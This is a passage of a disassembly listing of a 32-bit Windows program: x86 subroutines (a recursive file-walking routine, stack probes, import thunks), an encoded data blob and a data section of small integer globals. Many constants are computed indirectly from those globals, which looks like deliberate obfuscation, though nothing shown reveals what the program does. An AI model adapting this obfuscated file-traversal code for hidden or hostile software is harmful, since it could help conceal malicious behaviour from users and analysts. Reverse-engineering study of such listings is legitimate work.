loc_44771F: ; CODE XREF: sub_44757D+F3j
; sub_44757D+187j ...
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call ds:dword_4CC328
mov esi, eax
mov eax, dword_551124
add eax, 0FFFFFFF2h
add eax, dword_551150
cmp eax, esi
jz loc_44782C
mov eax, dword_551154
add eax, dword_551174
cmp [ebp+eax+var_11A], 2Eh
jz loc_447824
push offset byte_551491
call sub_43AC94
lea edx, [ebp+var_112]
push edx
push ebx
push eax
lea edx, [ebp+var_242]
push edx
call ds:dword_50EA28
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_44757D
add esp, 20h
jmp loc_447824
; ---------------------------------------------------------------------------
loc_44779E: ; CODE XREF: sub_44757D+2A9j
lea eax, [ebp+var_13E]
push eax
push esi
call ds:dword_449FC8
mov edi, eax
movsx eax, word_551268
add eax, dword_5511F8
sub eax, 0Ah
cmp edi, eax
jnz short loc_4477DE
mov eax, ds:dword_50EA2C
add eax, [ebp+var_248]
push eax
call ds:dword_50EA24
pop ecx
push esi
call ds:dword_44B5BC
jmp short loc_44782C
; ---------------------------------------------------------------------------
loc_4477DE: ; CODE XREF: sub_44757D+243j
movsx eax, word_551254
cmp [ebp+eax+var_11A], 2Eh
jz short loc_447824
push offset dword_551488
call sub_43AC94
lea edx, [ebp+var_112]
push edx
push ebx
push eax
lea edx, [ebp+var_242]
push edx
call ds:dword_50EA28
push [ebp+arg_8]
push [ebp+arg_4]
lea eax, [ebp+var_242]
push eax
call sub_44757D
add esp, 20h
loc_447824: ; CODE XREF: sub_44757D+1E1j
; sub_44757D+21Cj ...
or edi, edi
jnz loc_44779E
loc_44782C: ; CODE XREF: sub_44757D+1C8j
; sub_44757D+25Fj
pop edi
pop esi
pop ebx
leave
retn
sub_44757D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_447831 proc near ; CODE XREF: sub_43F2CB+F3p
; sub_43F2CB+151p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
mov eax, dword_55109C
movsx edx, word_551240
mov esi, eax
add esi, edx
sub esi, 8
movsx eax, word_5510E4
movsx edx, word_551234
mov edi, eax
add edi, edx
sub edi, 4
jmp short loc_4478CA
; ---------------------------------------------------------------------------
loc_447865: ; CODE XREF: sub_447831+A3j
movzx edx, word ptr [ebx+edi*2]
mov ecx, [ebp+arg_4]
movzx ecx, word ptr [ecx+edi*2]
sub edx, ecx
sub edx, esi
mov [ebp+var_4], edx
movsx eax, word_5510CC
movsx edx, word_55115C
add eax, edx
sub eax, 8
cmp [ebp+var_4], eax
jge short loc_4478B2
mov eax, dword_551250
mov esi, eax
add esi, dword_5510C8
dec esi
mov eax, dword_551190
add eax, 0FFF2h
add eax, dword_5510B8
add [ebp+var_4], eax
jmp short loc_4478C2
; ---------------------------------------------------------------------------
loc_4478B2: ; CODE XREF: sub_447831+5Cj
mov eax, dword_5511E4
mov esi, eax
add esi, dword_551130
sub esi, 8
loc_4478C2: ; CODE XREF: sub_447831+7Fj
mov edx, [ebp+var_4]
mov [ebx+edi*2], dx
inc edi
loc_4478CA: ; CODE XREF: sub_447831+32j
mov eax, dword_551098
add eax, 1Eh
cmp edi, eax
jb short loc_447865
pop edi
pop esi
pop ebx
leave
retn
sub_447831 endp
; =============== S U B R O U T I N E =======================================
sub_4478DB proc near ; DATA XREF: .data:005512ECo
mov eax, 80004001h
retn 8
sub_4478DB endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4478E4 proc near ; CODE XREF: sub_447901+1Ep
var_FFC = dword ptr -0FFCh
pop ecx
loc_4478E5: ; CODE XREF: sub_4478E4+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_4478E5
sub esp, eax
test [esp+0FFCh+var_FFC], eax
push ecx
retn
sub_4478E4 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_447901 proc near ; CODE XREF: sub_4423A6+43p
arg_0 = dword ptr 4
pop ecx
pop eax
add eax, 3
shr eax, 2
shl eax, 2
cmp eax, 1000h
jl short loc_447931
mov edx, esp
push eax
fild [esp-4+arg_0]
mov [esp-4+arg_0], ecx
fild [esp-4+arg_0]
call sub_4478E4
mov esp, edx
push edx
fistp dword ptr [esp+0]
mov ecx, [esp+0]
fistp dword ptr [esp+0]
pop eax
loc_447931: ; CODE XREF: sub_447901+10j
sub esp, eax
mov eax, esp
mov dword ptr [eax], 0
push ecx
push ecx
retn
sub_447901 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_447940 proc near ; CODE XREF: .text:0043A1BAp
; DATA XREF: .data:off_551000o
xor eax, eax
inc eax
retn 0Ch
sub_447940 endp
; ---------------------------------------------------------------------------
align 4
push eax
fnstcw word ptr [esp]
mov eax, [esp]
btr dword ptr [esp], 8
or word ptr [esp], 200h
; START OF FUNCTION CHUNK FOR sub_44796B
loc_44795A: ; CODE XREF: sub_44796B+Dj
fldcw word ptr [esp+4+var_4]
pop ecx
loc_44795E: ; CODE XREF: .text:00447969j
mov al, ah
and eax, 3
retn
; END OF FUNCTION CHUNK FOR sub_44796B
; ---------------------------------------------------------------------------
push eax
fnstcw word ptr [esp]
pop eax
jmp short loc_44795E
; =============== S U B R O U T I N E =======================================
sub_44796B proc near ; CODE XREF: .text:loc_43A1A7p
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0044795A SIZE 0000000A BYTES
push eax
fnstcw word ptr [esp+4+var_4]
mov eax, [esp+4+var_4]
or word ptr [esp+4+var_4], 300h
jmp short loc_44795A
sub_44796B endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_44797C proc near ; CODE XREF: sub_43B946+8p
; sub_43C10A+8p ...
var_FFC = dword ptr -0FFCh
pop ecx
loc_44797D: ; CODE XREF: sub_44797C+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_44797D
sub esp, eax
test [esp+0FFCh+var_FFC], eax
jmp ecx
sub_44797C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_44799C proc near ; CODE XREF: sub_43A985+35p
; sub_43A985+105p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
xor eax, eax
mov ecx, 0FFFFFFFFh
xchg edi, edx
repne scasb
neg ecx
lea ecx, [ecx-1]
mov eax, [esp+arg_4]
xchg eax, esi
mov edi, [esp+arg_0]
rep movsb
xchg eax, esi
xchg edx, edi
mov eax, [esp+arg_0]
retn 8
sub_44799C endp
; ---------------------------------------------------------------------------
align 4
jmp ds:dword_5530AC
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4479D4 proc near ; CODE XREF: sub_43A25C+10p
jmp ds:dword_5530B0
sub_4479D4 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4479E0 proc near ; CODE XREF: sub_43A080+13p
jmp ds:dword_5530B4
sub_4479E0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4479EC proc near ; CODE XREF: sub_43A1C3+33p
; sub_43A1C3+45p ...
jmp ds:dword_5530C0
sub_4479EC endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4479F8 proc near ; CODE XREF: sub_43A1C3+Bp
; sub_43A1C3+17p ...
jmp ds:dword_5530C4
sub_4479F8 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; ---------------------------------------------------------------------------
jmp ds:dword_5530C8
; ---------------------------------------------------------------------------
align 10h
jmp ds:dword_5530CC
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447A1C proc near ; CODE XREF: sub_43A25C+4Ep
; sub_43A25C+87p
jmp ds:dword_5530D0
sub_447A1C endp
; ---------------------------------------------------------------------------
align 8
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447A28 proc near ; CODE XREF: .text:0043A186p
jmp ds:dword_5530D4
sub_447A28 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447A34 proc near ; CODE XREF: sub_43A1C3+71p
; sub_43A1C3+86p
jmp ds:dword_5530D8
sub_447A34 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_447A40 proc near ; CODE XREF: sub_43A25C+9Ep
jmp ds:dword_5530DC
sub_447A40 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
dd 0
dd 50D1E04h, 9440E06h, 1D490705h, 9441D1Dh, 18441808h
dd 1D1D491Fh, 1C0B441Dh, 90F0209h, 1F184401h, 51E1949h
dd 0B1A0718h, 5094413h, 18094907h, 1A051E1Fh, 491F0444h
dd 441D0F04h, 440D0D0Fh, 49070509h, 441D1D1Dh, 1004051Ah
dd 0B091903h, 9441907h, 0B490705h, 0F02091Ch, 18440109h
dd 1C0B491Fh, 90F0209h, 3084401h, 1D1D4910h, 808441Dh
dd 18440403h, 0B07491Fh, 180F1E19h, 9441247h, 1D490705h
dd 1A441D1Dh, 3100405h, 70B0919h, 5094419h, 1D1D4907h
dd 0B08441Dh, 8470104h, 1F1B040Bh, 0B09470Fh, 0B0E0B04h
dd 490B0944h, 441D1D1Dh, 1004051Ah, 0B091903h, 9441907h
dd 1D490705h, 8441D1Dh, 9440507h, 1A490705h, 0B1A130Bh
dd 5094406h, 80F4907h, 944130Bh, 1D490705h, 8441D1Dh, 501040Bh
dd 0E0B070Ch, 440B181Fh, 49070509h, 441D1D1Dh, 9080309h
dd 7050944h, 1D1D1D49h, 81E1C44h, 491F1844h, 441D1D1Dh
dd 0B081D09h, 9440104h, 0D490705h, 1A0E0605h, 44060605h
dd 49070509h, 441D1D1Dh, 1004051Ah, 0B091903h, 9441907h
dd 1D490705h, 7441D1Dh, 40B0807h, 1F184401h, 1D1D1D49h
dd 3041F44h, 181E190Bh, 1844071Fh, 50D491Fh, 51A0E06h
dd 9440606h, 1D490705h, 1A441D1Dh, 3100405h, 70B0919h
dd 5094419h, 1D1D4907h, 51D441Dh, 80E0618h, 4401040Bh
dd 490D1805h, 441D1D1Dh, 0E040B09h, 1E0B0E03h, 180F1C0Fh
dd 0F030C03h, 5094418h, 1D1D4907h, 100h dup(0)
dword_448000 dd 0 ; sub_445E14+1C9w
dword_448004 dd 0 ; sub_43DFC4+7Ar ...
dword_448008 dd 0 ; sub_43F79F+86r ...
dword_44800C dd 0 ; sub_43FF3A+152r ...
dword_448010 dd 0 ; sub_445E14+36Dw
dword_448014 dd 0 ; sub_442FE6+1Ar ...
dword_448018 dd 0 ; sub_43CD37+B3Dr ...
dword_44801C dd 0 ; sub_441AE5+10Bw
dword_448020 dd 0 ; sub_445BAD+112w
dword_448024 dd 0 ; sub_444A15+75w
dword_448028 dd 0 ; sub_43E429+59w
dword_44802C dd 0 ; sub_43B946+2C4r ...
dword_448030 dd 0 ; sub_43FF3A+12Dr ...
dword_448034 dd 0 ; sub_43BCD9+98r ...
dword_448038 dd 0 ; sub_44718F+50r
dword_44803C dd 0 ; sub_43B946+25Er ...
dword_448040 dd 0 ; sub_445E14+2C5w
dword_448044 dd 0 dword_448048 dd 0 ; sub_441DD6+78w ...
dword_44804C dd 0 ; sub_445BAD+FDw
dword_448050 dd 0 align 10h
dword_448060 dd 0 dd 3E7h dup(0)
dword_449000 dd 0 dword_449004 dd 0 ; sub_43F79F+67r ...
dword_449008 dd 0 ; sub_445BAD+D3w
dword_44900C dd 0 ; sub_441DD6+5Cw ...
dword_449010 dd 0 ; sub_442767+1Cr
dword_449014 dd 0 ; sub_444FE7+55Er
dword_449018 dd 0 ; sub_441EAC+6Dw
dword_44901C dd 0 ; sub_441AE5+25Dr ...
dword_449020 dd 0 ; sub_442DEC+11Cr ...
dd 3E7h dup(0)
dword_449FC0 dd 0 ; sub_445E14+3Aw
dword_449FC4 dd 0 ; sub_4461CC+18r ...
dword_449FC8 dd 0 ; sub_442A78+CBr ...
dword_449FCC dd 0 ; sub_43AEDD+18r ...
dword_449FD0 dd 0 ; sub_441EAC+100w
dword_449FD4 dd 0 ; sub_441AE5+A1w
align 10h
dword_449FE0 dd 40h dup(0) ; sub_442CE5+74o ...
dword_44A0E0 dd 0 ; sub_442DEC+142r ...
dd 3E7h dup(0)
dword_44B080 dd 0 ; sub_445BAD+BEw
dword_44B084 dd 0 ; sub_44018C+B3w
dword_44B088 dd 0 ; sub_445E14+25w
dword_44B08C dd 0 dword_44B090 dd 0 ; sub_441EAC+D6w
dword_44B094 dd 0 ; sub_4467C4+655r
align 10h
dword_44B0A0 dd 41h dup(0) ; sub_43BF49+13o ...
dword_44B1A4 dd 0 ; sub_440485+587r ...
dword_44B1A8 dd 0 dword_44B1AC dd 0 ; sub_43AC7C+Dr ...
byte_44B1B0 db 0 ; DATA XREF: sub_442DEC+85r
; sub_442DEC+14Br ...
align 4
dd 0F9h dup(0)
dword_44B598 dd 0 ; sub_43B004+Dr ...
dword_44B59C dd 0 ; sub_445BAD+13Cw
dword_44B5A0 dd 0 ; sub_445BAD+17Ew
dword_44B5A4 dd 0 dword_44B5A8 dd 0 ; sub_43EA2A+15Dr ...
dword_44B5AC dd 0 ; sub_43CD37+111Fr ...
dword_44B5B0 dd 0 ; sub_445E14+29Bw
dword_44B5B4 dd 0 ; sub_43E9BF+64w
dword_44B5B8 dd 0 ; sub_43DF1B+Er ...
dword_44B5BC dd 0 ; sub_445E14+397w ...
dword_44B5C0 dd 0 dword_44B5C4 dd 0 ; sub_43E491+357w
dword_44B5C8 dd 0 ; sub_441EAC+12Aw
dword_44B5CC dd 0 ; sub_43A985+2ECr ...
dword_44B5D0 dd 0 ; sub_43E04C+14Fr ...
dword_44B5D4 dd 0 ; sub_44018C+5Fw
align 10h
dword_44B5E0 dd 0 ; sub_43CB55+15Bw ...
dd 0FFh dup(0)
dword_44B9E0 dd 0 ; sub_43F79F+189w ...
dd 0FFFEh dup(0)
dword_48B9DC dd 0 dword_48B9E0 dd 0 dword_48B9E4 dd 0 dword_48B9E8 dd 0 ; sub_445BAD+55w
dword_48B9EC dd 0 ; sub_43A985+23r ...
dword_48B9F0 dd 0 dword_48B9F4 dd 0 ; sub_445E14+E2w
dword_48B9F8 dd 0 ; sub_43DF1B+8r ...
dword_48B9FC dd 0 ; sub_441EAC+1A8w ...
dword_48BA00 dd 0 ; sub_43FC04+37r ...
align 10h
word_48BA10 dw 0 ; DATA XREF: sub_442DEC+79r
; sub_442DEC+CAr ...
align 4
dd 1F3h dup(0)
dword_48C1E0 dd 0 ; sub_441AE5+100w
dword_48C1E4 dd 0 ; sub_445BAD+E8w
dword_48C1E8 dd 0 ; sub_444FE7+551r
dword_48C1EC dd 0 ; sub_44018C+CFw ...
byte_48C1F0 db 0 ; DATA XREF: sub_43EF58+2Ew
; sub_43EF58+7Cw ...
align 4
dd 3Fh dup(0)
dword_48C2F0 dd 0 ; sub_4423A6:loc_44242Ar
align 10h
dword_48C300 dd 5 dup(0) ; sub_4423A6+19Fo ...
dword_48C314 dd 0 dword_48C318 dd 0 ; sub_43B004+34r ...
dword_48C31C dd 0 ; sub_44718F+2Cr
dword_48C320 dd 0 ; sub_43F79F+175w ...
dd 0FFFEh dup(0)
dword_4CC31C dd 0 dword_4CC320 dd 0 ; sub_43CD37+8C3r ...
dword_4CC324 dd 0 ; sub_441DD6+94w ...
dword_4CC328 dd 0 ; sub_442A78+8Cr ...
align 10h
dword_4CC330 dd 80h dup(0) ; sub_43DF32+35o ...
dword_4CC530 dd 0 ; sub_44030E+54r ...
align 10h
dword_4CC540 dd 41h dup(0) ; sub_441AE5+105o ...
dword_4CC644 dd 0 ; sub_445E14+2EFw
dword_4CC648 dd 0 ; sub_441EAC+C1w
align 10h
dword_4CC650 dd 0 ; sub_43CD37+89r ...
dword_4CC654 dd 0 ; sub_43CD37+56Dr ...
dword_4CC658 dd 0 ; sub_43CD37+6FCr ...
dword_4CC65C dd 0 ; sub_43CD37+A4Cr ...
dword_4CC660 dd 0 ; sub_43CD37+DA3r ...
dword_4CC664 dd 0 ; sub_43CD37+D48r ...
dword_4CC668 dd 0 ; sub_43CD37+EB1r ...
dword_4CC66C dd 0 ; sub_43CD37+1078r ...
dword_4CC670 dd 0 ; sub_444FE7+5E5r
dword_4CC674 dd 0 ; sub_444FE7+61Cr
dword_4CC678 dd 0 ; sub_444FE7+684r
dword_4CC67C dd 0 ; sub_444FE7+650r
dd 4A4h dup(0)
dword_4CD910 dd 0 ; sub_44718F+CAr
dword_4CD914 dd 0 ; sub_440485+39r ...
dword_4CD918 dd 0 dword_4CD91C dd 0 ; sub_445BAD+166w
dword_4CD920 dd 0 ; sub_441AE5+137w
align 10h
dword_4CD930 dd 41h dup(0) ; sub_441AE5+81o ...
dword_4CDA34 dd 0 ; sub_440485+882r ...
dword_4CDA38 dd 0 ; sub_44234E+52w
dword_4CDA3C dd 0 ; sub_43CD37+77Fr ...
dword_4CDA40 dd 0 ; sub_43AEDD+102r ...
dword_4CDA44 dd 0 ; sub_445E14+8Ew
dword_4CDA48 dd 0 ; sub_43AD8B+53r ...
align 10h
dword_4CDA50 dd 0 ; sub_4441D8+6AFw ...
dd 3E7h dup(0)
dword_4CE9F0 dd 0 ; sub_43EF58+62r ...
dword_4CE9F4 dd 0 ; sub_43E491+1EFr
dword_4CE9F8 dd 0 dword_4CE9FC dd 0 ; sub_444FE7+5ECr ...
dword_4CEA00 dd 0 ; sub_43E491+34Cw
dword_4CEA04 dd 0 ; sub_444A91+62r ...
dword_4CEA08 dd 0 ; sub_445BAD+127w
dword_4CEA0C dd 0 ; sub_43E491+19Fr ...
dword_4CEA10 dd 0 ; sub_43FCCD+172r ...
dword_4CEA14 dd 0 ; sub_440485+E6r ...
dword_4CEA18 dd 0 ; sub_43CD37+10F1r ...
dword_4CEA1C dd 0 ; sub_445E14+10w
dword_4CEA20 dd 0 ; sub_43F79F+152w ...
dd 0FFFEh dup(0)
dword_50EA1C dd 0 ; sub_44300F+E1Dr
dword_50EA20 dd 0 ; sub_445E14+10Cw
dword_50EA24 dd 0 ; sub_43CB55+5Cr ...
dword_50EA28 dd 0 ; sub_43CB55+47r ...
dword_50EA2C dd 0 ; sub_43E491+39Ew ...
dword_50EA30 dd 0 ; sub_441EAC+169w ...
dword_50EA34 dd 0 ; sub_445E14+21Dw
dword_50EA38 dd 0 ; sub_444FE7+1FFr ...
dword_50EA3C dd 0 ; sub_43B7D4+22r ...
dword_50EA40 dd 0 ; sub_44718F+E7r
align 10h
dword_50EA50 dd 0 ; sub_43F79F+159w ...
dd 856Bh dup(0)
dword_530000 dd 7A93h dup(0) dword_54EA4C dd 0 ; sub_445E14+79w
dword_54EA50 dd 0 ; sub_441EAC+ACw
dword_54EA54 dd 0 ; sub_444FE7+4ECr
dword_54EA58 dd 0 ; sub_441EAC+82w ...
dword_54EA5C dd 0 ; sub_43AEDD+7Dr ...
dword_54EA60 dd 0 ; sub_43E491+81r ...
dword_54EA64 dd 0 ; sub_445E14+286w ...
dword_54EA68 dd 0 ; sub_43BCA0+2Dr ...
align 10h
dword_54EA70 dd 40h dup(0) ; sub_441AE5+19Do ...
dword_54EB70 dd 0 ; sub_4441D8:loc_44466Er ...
dword_54EB74 dd 0 ; sub_441AE5+121w
dword_54EB78 dd 0 ; sub_43FF3A+AEr ...
align 10h
dword_54EB80 dd 0 ; sub_43A646+174w
dd 5 dup(0)
dword_54EB98 dd 0 dword_54EB9C dd 0 dd 4 dup(0)
dword_54EBB0 dd 0 ; sub_43A646+88w
dword_54EBB4 dd 0 dword_54EBB8 dd 0 ; sub_43A646+203w ...
align 10h
dword_54EBC0 dd 0 ; sub_43A646+10Ew ...
dword_54EBC4 dd 0 dd 0
dword_54EBCC dd 0 dd 2 dup(0)
dword_54EBD8 dd 0 dword_54EBDC dd 0 dword_54EBE0 dd 0 align 8
dword_54EBE8 dd 0 dd 5 dup(0)
dword_54EC00 dd 0 ; sub_441EAC+115w
dd 2 dup(0)
byte_54EC0C db 0 ; DATA XREF: sub_442A78+112w
align 10h
dword_54EC10 dd 400h dup(0) ; sub_442A78+158o
dword_54FC10 dd 0 ; sub_445E14+121w ...
dword_54FC14 dd 0 ; sub_43AFED+Er ...
dword_54FC18 dd 0 ; sub_43B946+A0r ...
dword_54FC1C dd 0 ; sub_43F79F+109r ...
dword_54FC20 dd 0 ; sub_43CB55+65r ...
dd 0FEh dup(0)
dword_55001C dd 0 ; sub_43A985+25Ar ...
dword_550020 dd 0 ; sub_43CB55+1AFr ...
align 8
dword_550028 dd 0 ; sub_43EA2A+20r ...
dword_55002C dd 0 ; sub_445E14+343w
dword_550030 dd 0 ; sub_43BCD9+6Dr ...
dword_550034 dd 0 ; sub_43EC94+103r ...
dword_550038 dd 0 ; sub_441EAC+211w ...
dword_55003C dd 0 ; sub_43A57A+10o ...
byte_550040 db 0 ; DATA XREF: sub_4421CF+44o
; sub_446429:loc_446495r
align 4
dd 3Eh dup(0)
db 3 dup(0)
byte_55013F db 0 ; DATA XREF: sub_442C15+46w
byte_550140 db 0 ; DATA XREF: sub_43B7D4+1Co
; sub_43E94C+Co ...
align 4
dd 2 dup(0)
db 2 dup(0)
byte_55014E db 0 ; DATA XREF: sub_442C15+65w
align 10h
dword_550150 dd 0 ; sub_43C10A+172r ...
dword_550154 dd 0 ; sub_4441D8+72Ar
dword_550158 dd 0 align 10h
dword_550160 dd 6 dup(0) ; sub_43AC94+64o ...
dd 22h dup(?)
_text ends
; Section 5. (virtual address 00151000)
; Virtual size : 00001C00 ( 7168.)
; Section size in file : 00001C00 ( 7168.)
; Offset to raw data for section: 00151000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 551000h
off_551000 dd offset sub_447940 ; DATA XREF: .text:0043A1B5r
dword_551004 dd 0 ; sub_43A1C3+64r
dword_551008 dd 0 dword_55100C dd 0 ; sub_43A1C3:loc_43A23Cr
dword_551010 dd 0 align 8
dd 7325h
aWr: ; DATA XREF: sub_43A1C3+3Do
; sub_43A1C3+4Fo ...
unicode 0, <wr>,0
align 4
dd 4 dup(0)
dword_551034 dd 0 dword_551038 dd 0 ; .text:0043A117r ...
dword_55103C dd 0 dword_551040 dd 14h dup(0) ; .text:0043A11Fo
dword_551090 dd 1 ; sub_43C752+3Er ...
word_551094 dw 3 ; DATA XREF: sub_43AC94+B3r
; sub_43B045+70Ar ...
align 4
dword_551098 dd 2 ; sub_43A985+1EDr ...
dword_55109C dd 7 ; sub_43ADE6+2Cr ...
word_5510A0 dw 7 ; DATA XREF: sub_43AD8B+Dr
; sub_43B045+531r ...
align 4
dword_5510A4 dd 9 ; sub_43ADE6+95r ...
dword_5510A8 dd 8 ; sub_43C10A+2Br ...
word_5510AC dw 7 ; DATA XREF: sub_43B7D4:loc_43B820r
; sub_43CB55:loc_43CB65r ...
align 10h
word_5510B0 dw 1 ; DATA XREF: sub_43CD37+752r
; sub_43CD37+8ADr ...
align 4
dword_5510B4 dd 4 ; sub_43A646+157r ...
dword_5510B8 dd 8 ; sub_43AD8B+42r ...
dword_5510BC dd 0 ; sub_43BDAA+6Ar ...
dword_5510C0 dd 1 ; sub_43AC94+D2r ...
dword_5510C4 dd 9 ; sub_43A646+CDr ...
dword_5510C8 dd 0 ; sub_43BDAA+72r ...
word_5510CC dw 5 ; DATA XREF: sub_43A8C0+18r
; sub_43A929:loc_43A96Br ...
align 10h
dword_5510D0 dd 4 ; sub_43BCD9+5Fr ...
dword_5510D4 dd 7 ; sub_43B045+48Ar ...
word_5510D8 dw 9 ; DATA XREF: sub_43A646+24Br
; sub_43A985+192r ...
align 4
dword_5510DC dd 7 ; sub_43C468+2Er ...
dword_5510E0 dd 1 ; sub_43ADE6+5Br ...
word_5510E4 dw 0 ; DATA XREF: sub_43A59E+96r
; sub_43A985+249r ...
align 4
dword_5510E8 dd 7 ; sub_43AEDD+F1r ...
word_5510EC dw 0 ; DATA XREF: sub_43A646+244r
; sub_43B045+72r ...
align 10h
word_5510F0 dw 3 ; DATA XREF: sub_43A324+14Er
; sub_43A985+1CEr ...
align 4
dword_5510F4 dd 2 ; sub_43B004+18r ...
dword_5510F8 dd 4 ; sub_43B045+4F2r ...
dword_5510FC dd 2 ; sub_43A646+D3r ...
dword_551100 dd 0 ; sub_43A646+B0r ...
word_551104 dw 5 ; DATA XREF: sub_43B946+2Fr
; sub_43CD37+7FBr ...
align 4
dword_551108 dd 2 ; sub_43C468+51r ...
dword_55110C dd 9 ; sub_43A646+1A8r ...
word_551110 dw 1 ; DATA XREF: sub_43A324+31r
; sub_43A985+27Cr ...
align 4
dword_551114 dd 2 ; sub_43A985:loc_43AAD9r ...
dword_551118 dd 9 ; sub_43A985+E8r ...
word_55111C dw 0 ; DATA XREF: sub_43A324+245r
; sub_43A646+A9r ...
align 10h
word_551120 dw 3 ; DATA XREF: sub_43A324:loc_43A402r
; sub_43A646+1C8r ...
align 4
dword_551124 dd 9 ; sub_43B045+461r ...
dword_551128 dd 7 ; sub_43A646+22Ar ...
word_55112C dw 5 ; DATA XREF: sub_43A59E:loc_43A60Fr
; sub_43A646+115r ...
align 10h
dword_551130 dd 3 ; sub_43B045+66Ar ...
dword_551134 dd 8 ; sub_43ADE6+4Fr ...
dword_551138 dd 3 ; sub_43ADE6+86r ...
dword_55113C dd 9 ; sub_43B045+41Ar ...
word_551140 dw 5 ; DATA XREF: sub_43B045+639r
; sub_43BDAA+FEr ...
align 4
word_551144 dw 1 ; DATA XREF: sub_43A324+52r
; sub_43B946+36r ...
align 4
dword_551148 dd 7 ; sub_43B045+5DFr ...
dword_55114C dd 6 ; sub_43A646+Er ...
dword_551150 dd 4 ; sub_43C752+152r ...
dword_551154 dd 7 ; sub_43A985+B1r ...
dword_551158 dd 1 ; sub_43BDAA+88r ...
word_55115C dw 3 ; DATA XREF: sub_43A59E+Cr
; sub_43A985+234r ...
align 10h
dword_551160 dd 5 ; sub_43B045:loc_43B14Er ...
dword_551164 dd 0 ; sub_43C506+163r ...
word_551168 dw 4 ; DATA XREF: sub_43A985+201r
; sub_43AEDD+CDr ...
align 4
dword_55116C dd 9 ; sub_43A646+192r ...
word_551170 dw 1 ; DATA XREF: sub_43A929+Ar
; sub_43B045:loc_43B3A1r ...
align 4
dword_551174 dd 1 ; sub_43ADE6+A1r ...
dword_551178 dd 3 ; sub_43AEDD+AFr ...
dword_55117C dd 5 ; sub_43B045+3FDr ...
word_551180 dw 2 ; DATA XREF: sub_43E2F5+4Fr
; sub_43EC94+B1r ...
align 4
dword_551184 dd 8 ; sub_43ADE6+7Ar ...
word_551188 dw 5 ; DATA XREF: sub_43A985+199r
; sub_43AC94+6Fr ...
align 4
dword_55118C dd 0 ; sub_43BF49+9Er ...
dword_551190 dd 6 ; sub_43B045+2CBr ...
word_551194 dw 7 ; DATA XREF: sub_43A646+168r
; sub_43B045+32Fr ...
align 4
dword_551198 dd 3 ; sub_43CD37+2BBr ...
dword_55119C dd 7 ; sub_43B045+352r ...
dword_5511A0 dd 0 ; sub_43BDAA+CFr ...
dword_5511A4 dd 6 ; sub_44569A+ECr ...
word_5511A8 dw 0 ; DATA XREF: sub_43A646+73r
; sub_43B045+26Er ...
align 4
word_5511AC dw 6 ; DATA XREF: sub_43A646+1Ar
; sub_43B946+83r ...
align 10h
dword_5511B0 dd 7 ; sub_43A985+159r ...
dword_5511B4 dd 1 ; sub_43CD37+57Ar ...
dword_5511B8 dd 7 ; sub_43C752+53r ...
word_5511BC dw 5 ; DATA XREF: sub_43A646+EFr
; sub_43A646+230r ...
align 10h
dword_5511C0 dd 0 ; sub_43BDAA+B1r ...
word_5511C4 dw 7 ; DATA XREF: sub_43A8C0+1Fr
; sub_43A985+185r ...
align 4
word_5511C8 dw 7 ; DATA XREF: sub_43A324+9r
; sub_43A646+101r ...
align 4
word_5511CC dw 6 ; DATA XREF: sub_43C752+1F6r
; sub_43CB55+E0r ...
align 10h
dword_5511D0 dd 3 ; sub_43B946+B8r ...
dword_5511D4 dd 9 ; sub_43ADE6+B7r ...
dword_5511D8 dd 7 ; sub_43CD37+193r ...
dword_5511DC dd 9 ; sub_43C752+17Fr ...
dword_5511E0 dd 9 ; sub_43A646+137r ...
dword_5511E4 dd 5 ; sub_43A985+4Cr ...
dword_5511E8 dd 7 ; sub_43A985+1FBr ...
word_5511EC dw 3 ; DATA XREF: sub_43C752+213r
; sub_43CD37+A1r ...
align 10h
dword_5511F0 dd 9 ; sub_43AC94+2Er ...
dword_5511F4 dd 5 ; sub_43BF49+26r ...
dword_5511F8 dd 7 ; sub_43AC94+53r ...
dword_5511FC dd 0 ; sub_43B045+123r ...
dword_551200 dd 3 ; sub_43A646+2r ...
dword_551204 dd 3 ; sub_43BF49+FFr ...
dword_551208 dd 2 ; sub_43B045+529r ...
word_55120C dw 0 ; DATA XREF: sub_43A324+10r
; sub_43A324+60r ...
align 10h
word_551210 dw 3 ; DATA XREF: sub_43C10A+87r
; sub_43C752+18Er ...
align 4
word_551214 dw 3 ; DATA XREF: sub_43A324+122r
; sub_43A646+8Fr ...
